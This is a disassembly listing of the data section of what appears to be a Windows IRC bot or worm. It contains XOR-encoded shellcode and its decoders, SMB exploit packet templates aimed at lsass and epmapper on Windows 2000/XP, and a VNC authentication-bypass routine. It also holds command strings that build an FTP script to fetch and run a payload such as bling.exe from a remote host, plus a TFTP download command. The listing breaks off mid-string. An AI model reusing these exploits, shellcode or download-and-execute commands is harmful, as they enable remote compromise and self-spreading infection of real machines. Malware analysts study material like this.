sub_40CD9E+2CAo dword_4323A4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o align 4 loc_4323B4: ; DATA XREF: sub_40CD9E+E8o jmp short near ptr dword_4323BC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_4323BC dd 0 ; CODE XREF: ___:loc_4323B4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D5F4o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E02Do ; ___:0040E167o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40DCF9+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o dd 20h, 5C005Ch, 0 off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do ; "Lafler" dd offset dword_5C0024 a12345611111111: unicode 0, <123456111111111111111.doc>,0 align 8 dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_43285C dd offset locret_580044+2 ; DATA XREF: sub_40DCF9+45o dd offset loc_42004C+2 dd offset locret_580044+2 dd offset locret_580044+2 dd offset loc_42004C+2 dd offset locret_580044+2 dd offset locret_580044+2 dd offset locret_580044+2 dd offset locret_580044+2 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░' db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░' db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░',0 dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo off_432940 dd offset dword_5C005C ; DATA XREF: sub_40DB5E+1Co ; sub_40DC41+16o align 8 off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co ; sub_40DC41+Bo dd offset aLallemant+8 dd 24h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o ; ___:0040E99Eo ... align 10h aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do align 10h jmp short loc_4329C2 ; =============== S U B R O U T I N E ======================================= sub_4329B2 proc far ; CODE XREF: sub_4329B2:loc_4329C2p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_4329BA: ; CODE XREF: sub_4329B2+Cj xor byte ptr [ebx+ecx], 99h loop loc_4329BA jmp short loc_4329C7 ; --------------------------------------------------------------------------- loc_4329C2: ; CODE XREF: ___:004329B0j call near ptr sub_4329B2 loc_4329C7: ; CODE XREF: sub_4329B2+Ej jo short loc_432A2B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_432A49 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_432A2B: ; CODE XREF: sub_4329B2:loc_4329C7j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_432A49: ; CODE XREF: sub_4329B2+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_4329B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_432AF0: ; DATA XREF: sub_40E3F1+156o ; sub_40E3F1+212o jmp short loc_432B02 ; =============== S U B R O U T I N E ======================================= sub_432AF2 proc near ; CODE XREF: sub_432AF2:loc_432B02p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_432AFA: ; CODE XREF: sub_432AF2+Cj xor byte ptr [edx+ecx], 99h loop loc_432AFA jmp short loc_432B07 ; --------------------------------------------------------------------------- loc_432B02: ; CODE XREF: ___:loc_432AF0j call sub_432AF2 loc_432B07: ; CODE XREF: sub_432AF2+Ej jo short near ptr dword_432A80+1Eh cwde cdq cdq retn sub_432AF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40E3F1+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040E8A6o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:0040E8D2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:0040E8F9o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40E3F1+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 2 dup(0) word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r ; sub_40E3F1+E7r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r ; sub_40E3F1+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_40E292+BCo db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o ; --------------------------------------------------------------------------- loc_433408: ; DATA XREF: sub_40E3F1+177o jmp short loc_433410 ; --------------------------------------------------------------------------- jmp short loc_433412 ; --------------------------------------------------------------------------- align 10h loc_433410: ; CODE XREF: ___:loc_433408j ; DATA XREF: sub_40E3F1+27o pop esp pop esp loc_433412: ; CODE XREF: ___:0043340Aj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E9FB+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o align 4 word_4346DC dw 1 ; DATA XREF: ___:0040EC29r ; sub_41B55B+24r ... align 10h dword_4346E0 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_41A1B1+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferCom db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:004387E8o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:004387F4o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_0 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_2 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4349C4 db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo ; sub_41AA1E+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o ; sub_41AF8F+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo align 4 unk_434C0C db 2Dh ; - ; DATA XREF: sub_4100B4+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_34 db ' failed to start worker thread, error %d',0 align 4 unk_434C44 db 2Dh ; - ; DATA XREF: sub_4100B4+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_434C78: ; DATA XREF: sub_4100B4+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_41036B+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_41036B+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db 